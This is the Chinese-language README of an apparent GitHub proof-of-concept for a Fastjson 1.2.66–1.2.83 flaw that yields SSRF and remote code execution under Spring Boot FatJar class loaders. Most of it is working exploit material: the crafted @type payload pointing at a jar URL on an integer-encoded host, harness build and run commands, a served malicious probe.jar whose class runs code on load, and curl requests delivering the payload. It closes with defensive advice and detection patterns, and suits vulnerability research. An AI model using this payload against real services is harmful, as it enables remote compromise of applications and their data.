wouijvziqy/Fastjson-JsonType-RCE-PoC
GitHub: wouijvziqy/Fastjson-JsonType-RCE-PoC
验证 Fastjson 1.2.66–1.2.83 在 Spring Boot FatJar 下经 `@JSONType` 探测路径触发远程类加载导致 RCE/SSRF 的 PoC 工具。
Stars: 4 | Forks: 38
# Fastjson AutoType + Spring Boot FatJar JSONType RCE PoC
## 摘要
`ParserConfig.checkAutoType` 包含一个 `@JSONType` 探测路径,该路径会将提交的 `@type` 值重构为类资源:
```
String resource = typeName.replace('.', '/') + ".class";
is = defaultClassLoader.getResourceAsStream(resource);
```
如果传入的值类似于 `jar:http:..2130706433:18080.probe!.POC`,替换操作会生成 jar URL `jar:http://2130706433:18080/probe!/POC.class`(`2130706433` 是 `127.0.0.1` 的整数形式)。
观察到的行为取决于类加载器和 JDK:
| 环境 | 网络请求 | 结果 |
| --- | --- | --- |
| 使用 JDK `AppClassLoader` 的普通 classpath | 否 | `JSONException: autoType is not support` |
| 在 JDK 8 上使用 `LaunchedURLClassLoader` 的 Spring Boot FatJar | 是,通常会有两次 `GET /probe` 请求 | 远程类的字节码可以被定义并初始化 |
| 在 JDK 9+ 上使用 `LaunchedURLClassLoader` 的 Spring Boot FatJar | 是 | SSRF 仍然存在,但类定义因非法类名错误而失败 |
| `setAutoTypeSupport(true)` 或 fastjson <= 1.2.24 | 否 | 在测试路径中,该 payload 会降级为普通的 `JSONObject` 字段 |
## 触发条件
以下所有条件均与完整的远程类加载路径相关:
| 条件 | 备注 |
| --- | --- |
| fastjson 版本 | 在 1.2.66 到 1.2.83 版本(包含边界)中观察到,其中包括 `@JSONType` 探测路径。即使在 AutoType 被禁用的情况下,也可以触达该路径,因为注解探测是一个受信任的通道。 |
| 类加载器 | 使用 Spring Boot 传统 FatJar 执行(此时 fastjson 由 `LaunchedURLClassLoader` 加载),或者由应用程序提供的 `ParserConfig.setDefaultClassLoader()` 负责解析 jar 样式的资源名称。 |
| JDK | 此路线实现完整的 RCE 需要 JDK 8。JDK 9+ 会在 `defineClass` 期间拒绝构造的内部类名,但 SSRF 仍然会发生。 |
| 网络 | 目标 runtime 必须能够通过 HTTP 或其他可达的 URL 协议获取远程 jar。 |
## 项目结构
```
.
|-- README.md
|-- pom.xml
|-- scripts/
| |-- build-harness.sh
| `-- fetch-deps.sh
|-- src/main/java/
| |-- FatRunner.java
| |-- Gen.java
| |-- POC.java
| |-- Test.java
| `-- Test2.java
`-- sbdemo/
|-- pom.xml
`-- src/main/java/com/percivalll/fastjson/jsontype/
|-- DemoApplication.java
|-- FastjsonHarness.java
|-- ParseController.java
`-- WorkerParser.java
```
## 前置条件
- 需要完整的类定义结果请使用 JDK 8。
- JDK 9+ 可用于验证仅 SSRF 的行为。
- 执行 `scripts/fetch-deps.sh` 需要 `curl`。
- 根目录测试工具可选使用 Maven。脚本会直接将所需的 jar 下载到 `lib/` 目录中。
- `sbdemo/` 真实的 Spring Boot 应用程序必须使用 Maven。
## 构建本地测试工具
```
scripts/build-harness.sh
```
该脚本会下载:
- `fastjson-1.2.83.jar`
- `spring-boot-loader-2.7.18.jar`
- `spring-boot-loader-1.5.22.RELEASE.jar`
- `asm-9.6.jar`
然后,它将测试工具编译到 `target/classes` 目录中,并生成 `probe.jar`。生成的 jar 包含一个精心构造的 `POC.class`,其字节码内部名称为:
```
jar:http://2130706433:18080/probe!/POC
```
## 测试工具复现
测试工具使用的 payload 为:
```
{"@type":"jar:http:..2130706433:18080.probe!.POC","x":1}
```
在普通 classpath 下的基准测试:
```
java -cp "target/classes:lib/fastjson-1.2.83.jar" Test parse-default
```
Spring Boot 2.7 加载器路径:
```
rm -f PWNED2
java -cp "target/classes:lib/fastjson-1.2.83.jar:lib/spring-boot-loader-2.7.18.jar" Test2 sb27-parse
ls -la PWNED2
```
Spring Boot 1.5 加载器路径:
```
rm -f PWNED2
java -cp "target/classes:lib/fastjson-1.2.83.jar:lib/spring-boot-loader-1.5.22.RELEASE.jar" Test2 sb15-parse
ls -la PWNED2
```
直接的基础检查:
```
java -cp "target/classes:lib/fastjson-1.2.83.jar:lib/spring-boot-loader-2.7.18.jar" Test2 sb27-direct
java -cp "target/classes:lib/fastjson-1.2.83.jar:lib/spring-boot-loader-2.7.18.jar" Test2 sb27-check
java -cp "target/classes:lib/fastjson-1.2.83.jar:lib/spring-boot-loader-2.7.18.jar" Test2 sb27-load
java -cp "target/classes:lib/fastjson-1.2.83.jar:lib/spring-boot-loader-2.7.18.jar" Test2 sb27-fatrun
```
在 JDK 8 上,`sb27-parse`、`sb15-parse`、`sb27-load` 和 `sb27-fatrun` 路由可以定义并初始化远程类。在 JDK 9+ 上,HTTP 请求获取操作仍会发生,但类定义会被更严格的 JVM 类名校验拦截。
## 各文件作用
`Test.java` 是普通 classpath 的基准测试。它启动一个 localhost HTTP 服务器,执行 fastjson 解析和 `checkAutoType`,并记录是否发出了 HTTP 请求。
`Test2.java` 构建了一个 Spring Boot `LaunchedURLClassLoader`,通过本地 HTTP 监听器提供 `probe.jar`,并测试了直接资源查找、`checkAutoType`、`loadClass` 以及 `JSON.parse` 路径。
`Gen.java` 使用 ASM 生成一个仅包含字节码内部名称的类(这种类名无法通过 Java 源码编写)。生成的类带有一个 runtime 可见的 `@JSONType` 注解,并在初始化时创建 `PWNED2`。
`POC.java` 是一个带有 `@JSONType` 的普通对照类。
`FatRunner.java` 通过 FatJar 样式的类加载器加载,以更好地模拟在 Spring Boot 可执行 jar 内部运行的 fastjson。
## 真实 Spring Boot 示例
`sbdemo/` 项目是一个包含 fastjson 1.2.83 的最小化 Spring Boot 2.7.18 服务。默认情况下,它绑定到 `127.0.0.1:8081`。
使用 JDK 8 进行构建:
```
cd sbdemo
JAVA_HOME=/path/to/jdk8 mvn package -DskipTests
java -jar target/fastjson-jsontype-sbdemo-1.0.0-SNAPSHOT.jar
```
在另一个终端中,将根目录测试工具生成的构造 jar 作为 `/probe` 提供访问:
```
cd ..
scripts/build-harness.sh
mkdir -p www
cp probe.jar www/probe
python3 -m http.server 18080 --bind 127.0.0.1 --directory www
```
有用的 endpoint:
```
curl http://127.0.0.1:8081/info
curl -X POST http://127.0.0.1:8081/parse \
-H 'Content-Type: application/json' \
-d '{"@type":"jar:http:..2130706433:18080.probe!.POC","x":1}'
curl -X POST http://127.0.0.1:8081/parse-async \
-H 'Content-Type: application/json' \
-d '{"@type":"jar:http:..2130706433:18080.probe!.POC","x":1}'
```
从原始研究笔记中观察到的行为:
| 路由 | 结果 |
| --- | --- |
| Tomcat 请求线程 (`/parse`) | 会发生 SSRF,但该路由通常会在触发 RCE 之前停止,因为 Tomcat 请求线程的 TCCL 无法完成构造的远程类定义路径。 |
| 启动时创建的工作线程 (`/parse-async`) | 在 JDK 8 且 TCCL 设置为 `LaunchedURLClassLoader` 的情况下,远程类加载路径可以执行完毕。 |
| 任意入口点 | `@JSONType` 探测仍然可以触发 SSRF,因为它使用的是 `ParserConfig.class.getClassLoader()`。 |
Tomcat 请求线程路由中的失败对于此 payload 系列是结构性的:远程 jar URL 需要包含 `://`,类资源重构需要 `..` 变为 `//`,而随后的 `Class.forName` 路径会在 Tomcat 能够加载构造的类之前,拒绝这个空的包片段。
## 防御建议
1. 开启 fastjson SafeMode:`-Dfastjson.parser.safeMode=true`。
2. 实施严格的出站流量控制,确保应用 runtime 无法获取任意的 HTTP 资源。
3. 尽可能升级至 JDK 9+。这可以拦截此路线中的类定义步骤,尽管 SSRF 仍需单独进行缓解。
4. 迁移至 fastjson2,或从处理不受信任 JSON 的解析路径中移除 fastjson 1.x。
5. 处理不受信任的输入时,切勿开启 `ParserConfig.setAutoTypeSupport(true)`。
6. 对包含 `jar:`、`!`、混合 `..` URL 重构模式或诸如 `2130706433` 等整数形式 IP 字面量的可疑 `@type` 值设置告警。
7. 审查 `ParserConfig.setDefaultClassLoader()` 的调用位置,避免使用会将攻击者控制的资源名称解析为 URL 的类加载器。
## 参考资料
- fastjson `ParserConfig.checkAutoType`,特别是资源重构逻辑附近的 `@JSONType` 探测代码块。
- Spring Boot `org.springframework.boot.loader.jar.Handler#parseURL`,其嵌套式 jar URL 的处理方式不同于 JDK 原生 classpath 路径。
- 在 fastjson 1.2.66 中引入并在原始笔记测试的后续 1.x 版本中存在的 `@JSONType` 探测行为。
标签:CISA项目, Fastjson, GHAS, Java安全, JS文件枚举, RCE, 域名枚举, 漏洞验证程序